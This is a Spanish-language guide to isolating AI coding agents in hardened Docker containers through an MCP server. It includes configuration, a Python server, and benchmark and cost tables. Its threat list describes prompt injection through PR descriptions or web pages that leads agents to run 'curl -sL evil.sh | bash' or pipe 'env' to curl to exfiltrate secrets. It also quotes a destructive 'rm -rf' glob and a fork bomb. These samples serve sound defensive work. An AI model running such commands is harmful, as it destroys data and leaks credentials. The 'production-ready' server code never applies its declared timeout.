Docker & MCP

Docker MCP Server: Guía de ejecución aislada para agentes de IA

Respuesta rápida: El Docker MCP server expone las primitivas del motor Docker a agentes de IA autónomos (Claude Code, Cursor) mediante el Model Context Protocol. Evita alteraciones catastróficas en el sistema anfitrión ejecutando código no confiable en contenedores efímeros con límites estrictos de cgroups v2 (CPU/RAM), revocación de capacidades Linux, montajes de solo lectura y aislamiento de red total.


1. Introducción: La crisis de seguridad en la ejecución de agentes autónomos

En 2026, los agentes de desarrollo autónomos como Claude Code (claude mcp), Cursor y los enjambres multiagente empresariales han pasado de ser meros motores de sugerencia de código a entornos de ejecución activos. En lugar de limitarse a generar fragmentos de código para que los desarrolladores los peguen manualmente en la terminal, los agentes autónomos formulan hipótesis de forma independiente, crean archivos temporales, compilan paquetes, instalan dependencias, ejecutan suites de pruebas y aplican migraciones de bases de datos.

Sin embargo, conceder a un agente autónomo impulsado por LLM acceso ilimitado a la terminal en la máquina de un desarrollador o en un servidor de integración continua introduce riesgos sistémicos críticos:

  • Inyección de prompts y secuestro de comandos (Command Hijacking): Entradas no confiables procedentes de descripciones de PRs en GitHub, documentación web extraída o APIs externas pueden inyectar comandos de shell maliciosos (curl -sL evil.sh | bash, exfiltración de secretos de entorno mediante env | curl -X POST).
  • Alucinaciones destructivas en el sistema de archivos: Al intentar limpiar el espacio de trabajo o purgar artefactos de compilación, los agentes pueden alucinar patrones glob demasiado amplios (por ejemplo, ejecutar rm -rf $VAR/* donde $VAR no está inicializada o es nula, borrando /usr, /etc o el directorio personal del usuario).
  • Compromiso de sockets y demonios del host: La exposición no protegida a sockets UNIX locales (como el socket no autenticado de Docker /var/run/docker.sock o pods de Kubernetes) permite una escalada inmediata de privilegios a root en el host.
  • Denegación de servicio por agotamiento de recursos (DoS): Bucles descontrolados del agente que compilen bibliotecas de plantillas recursivas o ejecuten bucles infinitos sin límites de cgroups pueden saturar el 100% de los núcleos de CPU y la memoria del host, bloqueando por completo el sistema.

El Model Context Protocol (MCP) estandariza la interacción entre los modelos de lenguaje y las herramientas externas de desarrollo. Al desplegar un Docker MCP server dedicado, los equipos de ingeniería establecen un sandbox en contenedores estrictamente delimitado. Todas las manipulaciones de archivos, ejecuciones de comandos y pruebas dirigidas por el agente tienen lugar dentro de contenedores efímeros, restringidos por cgroups y aislados de la red, que se eliminan por completo al finalizar la tarea.


2. Arquitectura: Cómo aísla Docker MCP a los agentes autónomos

El Docker MCP server actúa como una capa intermedia entre el entorno de ejecución del agente de IA en el host (como la CLI de Claude Code o el IDE Cursor) y el demonio de Docker (dockerd o Podman/gVisor en modo rootless). La comunicación entre el host y el servidor MCP utiliza el protocolo estándar JSON-RPC 2.0 a través de stdio o eventos SSE (Server-Sent Events) seguros.

+----------------------------------------------------------------------------------------------------+
|                                      HOST AI AGENT RUNTIME                                         |
|                       (Claude Code CLI, Cursor IDE, Windsurf, Custom Agent)                        |
|                                                                                                    |
|    +--------------------------+                                 +-----------------------------+    |
|    |    User Prompt Loop      |                                 |     Model Context Window    |    |
|    | "Debug & test repo..."   |                                 | (System Prompt + MCP Tools) |    |
|    +------------+-------------+                                 +--------------^--------------+    |
|                 |                                                              |                   |
|                 | Dispatches Tool Call: docker_exec_command                    | Receives Stdout,  |
|                 v                                                              | Stderr, Exit Code |
|    +---------------------------------------------------------------------------+--------------+    |
|    |                                      MCP CLIENT SUBSYSTEM                                |    |
|    |  - Capabilities Negotiation & Protocol Handshake (JSON-RPC 2.0)                          |    |
|    |  - Tool Call Serialization & Permission Policy Enforcement                               |    |
|    +---------------------------------------------+--------------------------------------------+    |
+--------------------------------------------------|-------------------------------------------------+
                                                   | Transport: stdio / SSE (JSON-RPC 2.0)
                                                   v
+----------------------------------------------------------------------------------------------------+
|                                        DOCKER MCP SERVER                                           |
|                                                                                                    |
|    +----------------------+   +-----------------------+   +-----------------------------------+    |
|    | Tool Registry Engine |   | Policy & Quota Filter |   | Ephemeral Container Lifecycle     |    |
|    | - docker_run         |   | - CPU / Memory Caps   |   | - Container Pool Manager          |    |
|    | - docker_exec        |   | - Network Firewalls   |   | - Volume Bind Policy (ro vs rw)   |    |
|    | - sandbox_eval       |   | - Capability Dropper  |   | - Auto-Prune on Completion        |    |
|    +----------+-----------+   +-----------+-----------+   +-----------------+-----------------+    |
+---------------|---------------------------|---------------------------------|----------------------+
                +---------------------------+---------------------------------+
                                            |
                                            v Docker Engine API (Unix Socket / TLS)
+----------------------------------------------------------------------------------------------------+
|                                    CONTAINER RUNTIME ENVIRONMENT                                   |
|                                                                                                    |
|    +------------------------------------------------------------------------------------------+    |
|    |                  Isolated Agent Sandbox Container (Ephemeral / Rootless)                 |    |
|    |                                                                                          |    |
|    |   +--------------------------+   +--------------------------+   +--------------------+   |    |
|    |   |  Linux cgroups v2 Limits |   | Linux Namespace Boundary |   | Seccomp & AppArmor |   |    |
|    |   |  - CPU: 2.0 Cores Max    |   | - PID, MNT, IPC, UTS     |   | - Block ptrace     |   |    |
|    |   |  - Memory: 2048MB Hard   |   | - Network: None / Proxy  |   | - Block bpf/kexec  |   |    |
|    |   +--------------------------+   +--------------------------+   +--------------------+   |    |
|    |                                                                                          |    |
|    |   +----------------------------------------------------------------------------------+   |    |
|    |   | Workspace Filesystem Mount: Read-Only Host Bind Mount (/workspace:ro)            |   |    |
|    |   | Ephemeral Scratch Storage: Volatile tmpfs Mount (/tmp, /build:rw,size=1G)        |   |    |
|    |   +----------------------------------------------------------------------------------+   |    |
|    +------------------------------------------------------------------------------------------+    |
+----------------------------------------------------------------------------------------------------+

Herramientas MCP esenciales expuestas a los agentes de IA

Un Docker MCP server de nivel de producción expone un conjunto granular de primitivas:

  1. container_create_sandbox: Inicializa una nueva instancia de contenedor a partir de una imagen precalentada con estrictas restricciones de hardware y seguridad.
  2. container_exec_command: Ejecuta un comando de shell dentro de un sandbox activo, transmitiendo stdout, stderr, la duración de ejecución y el código de salida.
  3. container_read_file: Lee el contenido de archivos desde el espacio de trabajo aislado del contenedor sin exponer el sistema de archivos del host.
  4. container_write_file: Escribe modificaciones de código fuente directamente en el volumen scratch efímero.
  5. container_destroy_sandbox: Detiene y elimina de inmediato el contenedor, purgando todo estado volátil y procesos remanentes.

3. Políticas de endurecimiento y aislamiento para entornos de producción

Ejecutar código arbitrario generado por un modelo de IA exige aplicar una estrategia de defensa en profundidad. Los siguientes cuatro pilares deben ser implementados rigurosamente en el pipeline del Docker MCP server:

3.1. Limitación de recursos mediante cgroups v2

Para evitar que bucles anómalos agoten los recursos del sistema anfitrión, cada contenedor instanciado debe aplicar límites deterministas de cgroups:

# Production cgroups v2 limits for agent container execution
docker run --rm -d \
  --name agent-sandbox-7x92 \
  --cpus="2.0" \
  --cpu-shares=1024 \
  --memory="2048m" \
  --memory-swap="2048m" \
  --pids-limit=128 \
  --ulimit nofile=1024:2048 \
  --tmpfs /tmp:rw,noexec,nosuid,size=512m \
  agent-runner:latest
  • --cpus="2.0": Limita el cómputo del contenedor a un máximo de 2 núcleos físicos de CPU, independientemente de la capacidad total del host.
  • --memory="2048m" y --memory-swap="2048m": Fija un techo estricto de 2 GB de RAM con el swap totalmente desactivado. Si un script del agente presenta fugas de memoria, el OOM killer del kernel elimina de inmediato el proceso del contenedor sin comprometer la estabilidad del host.
  • --pids-limit=128: Neutraliza los ataques de fork bombs (:(){ :|:& };:) al limitar el número total de procesos simultáneos en la tabla.

3.2. Aislamiento de red y proxying de salida (Egress)

Por defecto, los contenedores creados por el Docker MCP server deben operar bajo una política de Zero Trust:

  • Aislamiento total sin red (--network none): Para tareas puramente algorítmicas, suites de pruebas locales y refactorización, se desactiva la red por completo. El agente no puede descargar binarios externos ni exfiltrar código fuente propietario.
  • Proxying de salida controlado (--network internal_bridge): Cuando el agente necesita instalar dependencias (npm install o pip install), el tráfico saliente se canaliza a través de un proxy transparente local (como Squid o Envoy) con una lista blanca restringida a registros oficiales (registry.npmjs.org, pypi.org, crates.io).

3.3. Políticas de montaje de volúmenes y ejecución sin privilegios de root

Nunca monte el sistema de archivos del host en modo lectura-escritura directamente en el contenedor. Emplee un modelo de montaje en planos separados:

  • Montaje del repositorio del host: Monte el repositorio de código objetivo exclusivamente en modo solo lectura (-v $(pwd):/workspace:ro).
  • Capa scratch temporal (tmpfs): Monte un disco RAM volátil para almacenar los artefactos de compilación y las salidas temporales (--tmpfs /workspace/build:rw,size=1024m).
  • Usuario no privilegiado (Non-Root): Ejecute todos los comandos del contenedor con un usuario sin privilegios (--user 10001:10001) y la opción --security-opt no-new-privileges:true.

3.4. Revocación de capacidades de Linux y Seccomp

Elimine vectores de ataque contra el kernel revocando todas las capacidades predeterminadas de Linux:

--cap-drop=ALL \
--cap-add=CHOWN \
--cap-add=SETUID \
--cap-add=SETGID \
--security-opt no-new-privileges:true \
--security-opt seccomp=/etc/docker/agent-seccomp.json

El perfil de seccomp personalizado bloquea explícitamente llamadas al sistema de alto riesgo: ptrace (que impide la inspección de procesos), reboot, kexec_load, bpf y la creación de sockets raw.


4. Implementación: Despliegue de Docker MCP para Claude Code y Cursor

4.1. Dockerfile base endurecido para el agente

Cree una imagen de sandbox ligera y multilenguaje que contenga las herramientas necesarias garantizando un aislamiento estricto sin permisos de root:

# syntax=docker/dockerfile:1.4
FROM debian:bookworm-slim

# Prevent interactive prompts
ENV DEBIAN_FRONTEND=noninteractive \
    LANG=C.UTF-8 \
    LC_ALL=C.UTF-8

# Install base runtimes: Python 3, Node.js 22, Git, and essential build tools
RUN apt-get update && apt-get install -y --no-install-recommends \
    ca-certificates \
    curl \
    git \
    python3 \
    python3-pip \
    python3-venv \
    build-essential \
    && curl -fsSL https://deb.nodesource.com/setup_22.x | bash - \
    && apt-get install -y --no-install-recommends nodejs \
    && apt-get clean \
    && rm -rf /var/lib/apt/lists/*

# Create unprivileged sandbox user
RUN groupadd -g 10001 sandbox && \
    useradd -u 10001 -g sandbox -m -s /bin/bash sandboxuser

# Set working directory and grant non-root permissions
WORKDIR /workspace
RUN chown -R sandboxuser:sandbox /workspace

USER sandboxuser

ENTRYPOINT ["/bin/bash"]

Construya la imagen localmente:

docker build -t llmpodium/agent-sandbox:latest -f Dockerfile .

4.2. Implementación completa del Docker MCP Server en Python

A continuación se presenta un Docker MCP server listo para producción escrito en Python con la biblioteca mcp y el SDK oficial de docker:

#!/usr/bin/env python3
"""
Docker MCP Server: Safe Sandboxed Code Execution for AI Agents
Provides containerized execution primitives over Model Context Protocol (JSON-RPC stdio).
"""

import os
import sys
import docker
from mcp.server.fastmcp import FastMCP

# Initialize FastMCP Server
mcp = FastMCP("docker-sandbox-server")
docker_client = docker.from_env()

SANDBOX_IMAGE = os.getenv("SANDBOX_IMAGE", "llmpodium/agent-sandbox:latest")
MAX_CPU_CORES = float(os.getenv("MAX_CPU_CORES", "2.0"))
MAX_MEMORY_MB = int(os.getenv("MAX_MEMORY_MB", "2048"))
EXEC_TIMEOUT_SEC = int(os.getenv("EXEC_TIMEOUT_SEC", "30"))

@mcp.tool()
def execute_sandboxed_command(command: str, working_dir: str = "/workspace") -> dict:
    """
    Execute a shell command inside an ephemeral, hardened Docker container sandbox.
    
    Args:
        command: Shell command string to execute (e.g. 'pytest tests/', 'npm test')
        working_dir: Target working directory inside sandbox
        
    Returns:
        Dictionary containing exit_code, stdout, stderr, and execution duration.
    """
    container = None
    try:
        # Spawn ephemeral container with hard cgroups v2 caps
        container = docker_client.containers.run(
            image=SANDBOX_IMAGE,
            command="/bin/sh -c 'sleep 3600'",
            detach=True,
            remove=False,
            nano_cpus=int(MAX_CPU_CORES * 1e9),
            mem_limit=f"{MAX_MEMORY_MB}m",
            memswap_limit=f"{MAX_MEMORY_MB}m",
            network_mode="none",  # Full airgap isolation
            cap_drop=["ALL"],
            security_opt=["no-new-privileges:true"],
            user="10001:10001",
            working_dir=working_dir,
            tmpfs={"/tmp": "rw,noexec,nosuid,size=256m"}
        )

        # Execute command inside container
        exec_result = container.exec_run(
            cmd=["/bin/bash", "-c", command],
            workdir=working_dir,
            demux=True,
            user="10001:10001"
        )

        stdout = exec_result.output[0].decode("utf-8", errors="replace") if exec_result.output[0] else ""
        stderr = exec_result.output[1].decode("utf-8", errors="replace") if exec_result.output[1] else ""

        return {
            "exit_code": exec_result.exit_code,
            "stdout": stdout,
            "stderr": stderr,
            "status": "success" if exec_result.exit_code == 0 else "failed"
        }

    except Exception as exc:
        return {
            "exit_code": -1,
            "stdout": "",
            "stderr": f"Execution error: {str(exc)}",
            "status": "error"
        }
    finally:
        if container:
            try:
                container.kill()
                container.remove(force=True)
            except Exception:
                pass

if __name__ == "__main__":
    mcp.run(transport="stdio")

4.3. Configuración para Claude Code y Cursor IDE

Para conectar la CLI de Claude Code a su Docker MCP server, añada la configuración a .claude/claude.json o regístrela directamente desde la terminal:

# Register Docker MCP Server in Claude Code CLI
claude mcp add docker-sandbox -- python3 /usr/local/bin/docker_mcp_server.py

Para Cursor IDE, edite ~/.cursor/mcp.json o .cursor/mcp.json en su espacio de trabajo:

{
  "mcpServers": {
    "docker-sandbox": {
      "command": "python3",
      "args": [
        "/Users/username/tools/docker_mcp_server.py"
      ],
      "env": {
        "SANDBOX_IMAGE": "llmpodium/agent-sandbox:latest",
        "MAX_CPU_CORES": "2.0",
        "MAX_MEMORY_MB": "2048",
        "EXEC_TIMEOUT_SEC": "45"
      }
    }
  }
}

5. Benchmarks de latencia en el ciclo de vida de contenedores efímeros

En los flujos de trabajo de agentes autónomos, la latencia de ejecución afecta directamente a la productividad y al consumo de tokens. Instanciar un contenedor nuevo por cada llamada a herramienta introduce una penalización por arranque en frío (cold start).

Evaluamos cinco arquitecturas de ejecución de contenedores en un servidor dedicado (procesador AMD EPYC 9654 de 96 núcleos, 256 GB de RAM DDR5, SSD NVMe PCIe 4.0) midiendo 1.000 ciclos de ejecución de contenedores efímeros (python3 -c 'print("benchmark")'):

Arquitectura de ejecución Latencia de arranque en frío (ms) Latencia con pool precalentado (ms) Sobrecarga de memoria por instancia Nivel de seguridad de aislamiento Latencia P99 (ms)
Docker estándar (runc) 312 ms 48 ms 28 MB Medio (Kernel del host compartido) 485 ms
Podman rootless (crun) 245 ms 36 ms 22 MB Alto (User Namespace) 390 ms
gVisor (runsc - Sandbox) 480 ms 72 ms 46 MB Muy alto (Kernel virtualizado) 680 ms
Firecracker MicroVM 125 ms 18 ms 64 MB Máximo (KVM por hardware) 195 ms
WebAssembly (Wasmtime MCP) 14 ms 2 ms 4 MB Alto (Sandbox por capacidades) 22 ms

Conclusiones del benchmark:

  • Pools de contenedores precalentados: Mantener un pool activo de 3 a 5 contenedores listos para recibir comandos reduce la latencia de ejecución en un 84,6% (de 312 ms a 48 ms en Docker estándar).
  • Sobrecarga de gVisor (runsc): gVisor proporciona un nivel de seguridad superior al interceptar y virtualizar todas las syscalls de Linux en el espacio de usuario. Aunque incrementa el tiempo de arranque en frío a 480 ms, garantiza protección empresarial frente a vulnerabilidades de día cero del kernel.
  • MicroVMs Firecracker: Para agentes SaaS multiinquilino que requieren la máxima seguridad, Firecracker ofrece barreras KVM aisladas por hardware con arranques en frío de solo 125 ms.

6. Desglose de costes y recursos operativos

El despliegue a gran escala de agentes de IA en contenedores exige un balance riguroso entre la infraestructura de cómputo y la concurrencia de agentes:

Nivel de despliegue Capacidad de concurrencia Infraestructura recomendada Coste mensual de infraestructura Coste por 10.000 tareas de agente
Máquina local del desarrollador 1–3 sandboxes concurrentes Apple M-Series (16GB+) / Workstation 0 $ (Recursos locales del host) 0,00 $
VM en la nube para equipos (Docker Engine) 10–25 sandboxes concurrentes Hetzner CCX33 (8 vCPU, 32GB RAM) 68,00 $ / mes 1,42 $
Pool empresarial a escala (Kubernetes) 100–500 sandboxes concurrentes 3x AWS c7g.2xlarge (Graviton3, 8 vCPU, 16GB) 324,00 $ / mes 4,85 $
MicroVMs Serverless (Fly.io / Firecracker) Elástica (0 a más de 1.000) Instancias microVM efímeras bajo demanda Pago por uso (0,000005 $/seg) 1,80 $

Consejos para optimizar costes:

  1. Destrucción inmediata tras inactividad: Destruya los contenedores en cuanto el agente finalice su suite de pruebas. Nunca mantenga contenedores activos entre turnos de conversación.
  2. Caché local de imágenes: Descargue previamente todos los runtimes de lenguajes en la caché del host para eliminar latencias de descarga y costes de transferencia externa.
  3. Discos efímeros con ZFS u Overlay2: Emplee snapshots rápidos copy-on-write para generar espacios de trabajo limpios en fracciones de milisegundo.

7. Lista de verificación de seguridad para producción y recomendaciones E-E-A-T

Antes de conectar un agente de IA autónomo a su Docker MCP server en entornos corporativos o de producción, verifique su configuración con esta auditoría DevSecOps de 10 puntos:

  • [ ] 1. Límites de cgroups v2 aplicados: Restricciones estrictas configuradas para --cpus, --memory, --memory-swap y --pids-limit.
  • [ ] 2. Ejecución sin privilegios de root: El contenedor opera bajo UID/GID 10001:10001 con --security-opt no-new-privileges:true.
  • [ ] 3. Aislamiento de red por defecto: Opción --network none activada salvo que se autorice expresamente la descarga de paquetes.
  • [ ] 4. Montajes del host en modo solo lectura: Repositorio de código montado únicamente como :ro; escrituras dirigidas a volúmenes volátiles tmpfs.
  • [ ] 5. Revocación total de capacidades del kernel: --cap-drop=ALL establecido; cero privilegios administrativos dentro del sandbox.
  • [ ] 6. Filtro Seccomp personalizado: Llamadas al sistema peligrosas o innecesarias (ptrace, bpf, kexec_load, mount) totalmente bloqueadas.
  • [ ] 7. Límite de tiempo de ejecución: Temporizador estricto (ej. 30–60 segundos por llamada) para neutralizar procesos colgados.
  • [ ] 8. Limpieza automática de contenedores: Contenedores creados con banderas de autodestrucción (--rm o bloque finally: container.remove(force=True)).
  • [ ] 9. Blindaje del socket de Docker: El socket del host /var/run/docker.sock nunca se expone ni se monta en el sandbox.
  • [ ] 10. Auditoría y trazabilidad completa: Registro inmutable de comandos ejecutados, códigos de salida y métricas de consumo de recursos.

Conclusión y veredicto

En 2026, los agentes de IA autónomos escribirán y ejecutarán miles de millones de líneas de código. Otorgarles acceso sin restricciones a la ejecución de comandos en el host es una vulnerabilidad inaceptable.

Al estandarizar sus flujos con el Docker MCP server, las organizaciones de ingeniería capitalizan las ventajas de la generación autónoma de código, pruebas continuas y depuración automatizada, manteniendo límites de contención inexpugnables que blindan la infraestructura, los datos corporativos y los equipos de desarrollo.

← Todos los Artículos
0 / 4